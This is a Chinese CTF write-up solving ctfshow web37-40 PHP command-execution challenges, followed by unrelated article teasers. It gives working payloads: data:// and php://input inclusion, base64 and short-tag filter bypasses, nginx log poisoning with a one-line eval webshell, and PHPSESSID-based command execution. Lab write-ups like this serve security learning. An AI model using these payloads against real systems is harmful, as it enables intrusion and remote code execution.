ctfshow-web入门-命令执行(web37-web40)

目录

1、web37 

2、web38

3、web39

4、web40


命令执行,需要严格的过滤

 

1、web37 

使用 php 伪协议:

?c=php://input

post 写入我们希望执行的 php 代码:

<?php system('tac f*');?>

拿到 flag:ctfshow{5c555d9a-6f55-411a-a25f-d38b70240639}

再看 wp 它用到是 data:// 协议,也是 php 伪协议

payload:

?c=data://text/plain,<?php system('tac f*')?>

利用源码中的 include($c); 将我们想要执行的代码包含进去,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。

2、web38

新增过滤 php 和 file

php 短标签:

<? echo '123';?>  #前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>  #不需要开启参数设置
<% echo '123';%>   #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。

我们使用一个没有前提条件的进行绕过,构造 payload:

?c=data://text/plain,<?=system('tac f*')?>

拿到 flag:ctfshow{924d4c68-d3ad-4188-bfbd-6b1d6b5f60b2}

也可以这样写:

?c=data://text/plain,<?=`ls`;

?c=data://text/plain,<?=`tac f*`;

我们也可以采用编码绕过,对 <?php system("tac flag.php");?> 进行 base64 编码再传入:

构造 payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==

查看提示,还可以包含 nginx 的日志文件拿 shell:

对于Apache,日志存放路径:/var/log/apache/access.log

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

访问一下日志文件,确实有东西:

?c=/var/log/nginx/access.log

服务器开启了记录日志的功能,就可能导致日志包含漏洞,用户可以进行任意文件读取:

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。 

从上面的日志信息可以看出是 User-Agent 的内容,这里我们使用 burpsuite 抓包,在 User-Agent 里插入一句话木马 :

<?php @eval($_REQUEST['cmd']);?>

上蚁剑,连接的文件就是日志文件:

进来后就可以直接看到 flag.php:

我们写的马就在这里:

但是在前端包含出来却看不到:

3、web39

这次的方式不一样了,还会在传入的内容后面拼接 .php,由于它把 flag 过滤掉了,而且这里包含后也没有输出 $flag 的语句,因此我们需要自己来调用,用 web37 的 payload:

为了看起来好一点便于后面的理解,这里我们用 cat 来读取

?c=data://text/plain,<?php system('cat f*')?>

传入后的内容为:

<?php ...

include(<?php system('cat f*')?>.php); 

读取 flag的 php 语句已经正常闭合,所以后面拼接的 .php 不会产生什么影响

拿到 flag:ctfshow{be201a78-e3b6-4957-8016-f61b31341ded}

我们也可以将整个 php 代码闭合掉,让 .php 不执行而是被直接显示:

?c=data://text/plain,<?php system('cat f*')?>)?>

4、web40

首先说一下这里正则匹配有几处用到了多个反斜杠的原因:

在正则表达式中,美元符号 $ 通常表示字符串的结束位置,为了匹配字面上的美元符号 $,需要使用反斜杠进行转义,即 \$;在正则表达式中,一个反斜杠需要使用 \\ 表示,但由于在 PHP 字符串中,反斜杠也需要转义,所以需要四个反斜杠 \\\\ 来表示正则表达式中的一个反斜杠。

晃眼一看这里几乎把所有符号都过滤掉了,但是仔细一看这里过滤掉的括号是中文的括号:()

也就是说英文的括号其实是能用的:()

使用无参数的 payload:

show_source(next(array_reverse(scandir(pos(localeconv())))));

拿到 flag:ctfshow{ebf5b012-7536-4a50-8049-37ebe85ca7c4}

看下提示,还有另一种做法:通过 cookie 获得参数进行命令执行

session_start() 函数用于启动一个新的 PHP 会话,session_id() 函数返回当前会话的会话 ID,将会话 ID 作为系统命令执行。使用 session 之前需要先用 session_start() 告诉 php 使用session,php 默认是不主动使用session的,也就是说原本的cookie 里是没有 PHPSESSID 这项的:

请求 

?c=session_start();system(session_id());

再次抓包即可看到 cookie 多出了 PHPSESSID 这:

修改 PHPSESSID 为我们希望执行的命令,即可实现命令执行:

但是这里并不能直接命令执行读取 flag,在标准的 PHP 会话管理中,会话 ID 不应包含空格。

美元符号 $ 也不行

其他一些命令是可以正常执行的

那么这里如何读取 flag.php

还是用 show_source ,构造 payload:

show_source(session_id(session_start()));

也可以用 highlight_file 或者  readfile 函数

但是会遇到前面的这个问题,会话 ID 包含了非法字符,点是不可以的

还有另一个问题:

在 PHP 中,一旦会话被激活,就不能再更改会话 ID。

折腾了一下到后面只要传入 show_source(session_id(session_start())); 就会显示容器有问题了

重启容器也没有解决这个问题:

Cannot change session id when session is active in

应该是题目搭建环境不一样吧,不折腾了,知道有这种方法就行。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/687879.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

FactoryTalk View Site Edition的VBA基本应用

第一节 在VBA中标签的读取和写入 本例要达到的目标是通过FactoryTalk View Site Edition&#xff08;以下简称SE&#xff09;的VBA来访问PLC中的下位标签&#xff0c;并实现标签的读写。 1.准备工作 打开SE&#xff0c;选择应用程序类型&#xff08;本例是Site Edition Netwo…

NSSCTF-Web题目7

目录 [SWPUCTF 2022 新生赛]ez_rce 1、题目 2、知识点 3、思路 ​编辑 [MoeCTF 2022]baby_file 1、题目 2、知识点 3、思路 [SWPUCTF 2022 新生赛]ez_rce 1、题目 2、知识点 ThinkPHP V5 框架漏洞的利用&#xff0c;命令执行 由于ThinkPHP5在处理控制器传参时&#xff…

SpringBoot项目启动后访问网页显示“Please sign in“

SpringBoot启动类代码如下 SpringBoot项目启动后访问网页显示"Please sign in"&#xff0c;如图 这是一个安全拦截页面&#xff0c;即SpringSecurity认证授权页面&#xff0c;因为SecurityAutoConfiguration是Spring Boot提供的安全自动配置类&#xff0c;也就是说它…

vue3+vite插件开发

插件开发目的:由于我司使用的前端技术栈为vue3tsvite2.Xaxios,在前端代码框架设计初期,做了把axios挂载到proxy对象上的操作,具体可见我的另一篇文章vue3TS自动化封装全局api_ts 封装腾讯位置api-CSDN博客 现在可以实现vue2的类似this.$api.xxx去调用接口,但是vue2源码使用的是…

Mac 使用Docker安装Elasticsearch、Kibana 、ik分词器、head

安装ElasticSearch 通过docker安装es docker pull elasticsearch:7.8.1 在本地创建elasticsearch.yml文件 mkdir /Users/ky/Documents/learn/es/elasticsearch.yml 编辑yml文件内容 http: host: 0.0.0.0 xpack.security.enabled: false xpack.security.enrollment.enabled: t…

DNF手游攻略:主C职业推荐,云手机强力辅助!

在《地下城与勇士》手游中&#xff0c;你是否厌倦了重复刷图和无休止的手动操作&#xff1f;利用VMOS云手机&#xff0c;你可以一键解决这些烦恼&#xff0c;实现自动打怪、一机多开&#xff0c;让游戏变得更加轻松愉快。下面我们将介绍如何使用VMOS云手机&#xff0c;以及推荐…

图像的IO操作

代码&#xff1a; import cv2 as cvimport matplotlib.pyplot as plt​#读取图像img cv.imread("../data/images/zidane.jpg")​#显示图像#2.1 OpenCVcv.imshow("dili",img)cv.waitKey(0)cv.destroyAllWindows()​#2.2 matplotlibplt.imshow(img[:,:,::-…

什么是阴道菌群CST分型,不同的分型代表哪些女性健康问题

谷禾健康 人体内的各个部位&#xff0c;如皮肤、口腔、肠道和阴道等&#xff0c;都是微生物的重要栖息地&#xff0c;这些微生物与人体健康紧密相关&#xff0c;并能反映人体的疾病状态。这些部位因受基因、环境和生活方式等影响&#xff0c;具有独特的菌群特征。 女性生殖系统…

【css3】png图片实现动态动画

.border_style {width: 400px;height: 400px;background-color: black;margin: auto;}keyframes sprite-animation {0% {background-position: 0 0;}100% {background-position: 0 -2064px;/* 假设每个图像的宽度为100px */}}.wrj_box {width: 86px;height: 86px;background-im…

《广告数据定量分析》读书笔记之统计原理2

3.相关分析&#xff1a;描述的是两个数值变量间关系的强度。&#xff08;两个数值型变量之间的关系&#xff09; &#xff08;1&#xff09;图表表示&#xff1a;散点图 &#xff08;2&#xff09;衡量关系强度指标&#xff1a;相关系数r。 &#xff08;r的取值为-1到 1&…

基础概念解析:SOCKS5代理究竟是什么?SOCKS5代理ip使用场景有哪些?

在当今数字化时代&#xff0c;网络安全和隐私保护已成为我们日常生活中不可忽视的问题。随着网络攻击手段的日益复杂&#xff0c;如何安全地访问互联网资源成为了一个亟待解决的问题。SOCKS5代理作为一种先进的网络协议&#xff0c;为我们提供了解决这一问题的有效方案。 本文…

从品牌的角度看老字号五芳斋如何“粽”出年轻味?

端午划着龙舟的浆又来到了我们身边&#xff0c;咸鸭蛋和粽子已经裹上精美的包装在货架上等待着它们的“有缘人”&#xff0c;其实长期以来&#xff0c;说起吃粽子除了“甜咸口”的辩论赛&#xff0c;貌似在产品上却并没有太多的创新&#xff0c;但近几年随着消费市场的不断创新…

【电气学习六】HART仪表与HART信号

【电气学习六】HART仪表与HART信号 学习使人快乐 文章目录 【电气学习六】HART仪表与HART信号前言一、HART仪表是什么&#xff1f;二、HART协议1.什么是HART协议&#xff1f;2.HART协议的工作原理3.HART协议的特点4.HART协议的命令格式5.无源信号与有源信号的定义6.如何采集无源…

自定义模块设置示例

CSDN 针对部分博主开放了自定义模块设置&#xff0c;我也是简单的使用了一下这个功能&#xff0c;感觉很不错&#xff0c;下面是我编写的参考代码大家可以复制下面代码来使自己的博客主页多样化。 <div class"pmusic"><iframe frameborder"no" bo…

美琳莱卡:创新消费模式引领新零售时代

公司成立时间与定位 美琳莱卡自创立之初,便以独特的视角和前瞻性的战略定位,立足于消费市场的变革前沿。公司成立于2024年,正值全球数字化浪潮蓬勃兴起,消费升级趋势日益明显之际。美琳莱卡敏锐地捕捉到这一时代机遇,将自身定位为创新消费模式的引领者,致力于通过线上线下高度…

大模型在信用卡行业的应用探索

2022年11月&#xff0c;OpenAI发布ChatGPT3.5&#xff0c;迅速引起各界广泛关注&#xff0c;引发了人工智能领域新一轮发展热潮。ChatGPT作为一款基于人工智能技术的大语言模型&#xff08;LLMs&#xff09;&#xff0c;在文本生成、对话理解、多领域知识覆盖等方面具有卓越表现…

servlet实现图片上传和下载

图片上传 前端 后端 protected void dopost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {Part filePart request.getPart("file"); // 获取上传的文件String fileName filePart.getSubmittedFileName(); …

[word] word文档字体间距怎么调整? #其他#经验分享

word文档字体间距怎么调整&#xff1f; 调整word文档字体间距的方法&#xff1a; 打开一个预先写好文字的文档。选中所有文字&#xff0c;点击字体右下角的“更多选项”。 在弹出的“字体”对话框中进入“字符间距”选项卡&#xff0c;在“间距”选项中即可设置字体间距。 设…

【机器学习】训练GNN图神经网络模型进行节点分类

1. 引言 1.1 图神经网络GNN概述 图神经网络&#xff08;Graph Neural Network&#xff0c;GNN&#xff09;是一种专门用于处理图结构数据的神经网络方法。它起源于2005年&#xff0c;当时Gori等人首次提出了GNN的概念&#xff0c;用于学习图中的节点特征以及它们之间的关系。…

mac安装nigix且配置 vue/springboot项目(本地/服务器)

一、mac安装Nigix 1. 查看是否存在 nginx 执行brew search nginx 命令查询要安装的软件是否存在 brew search nginx 2. 安装nginx brew install nginx 3. 查看版本 nginx -v 4. 查看信息 查看ngxin下载的位置以及nginx配置文件存放路径等信息 brew info nginx 下载的存…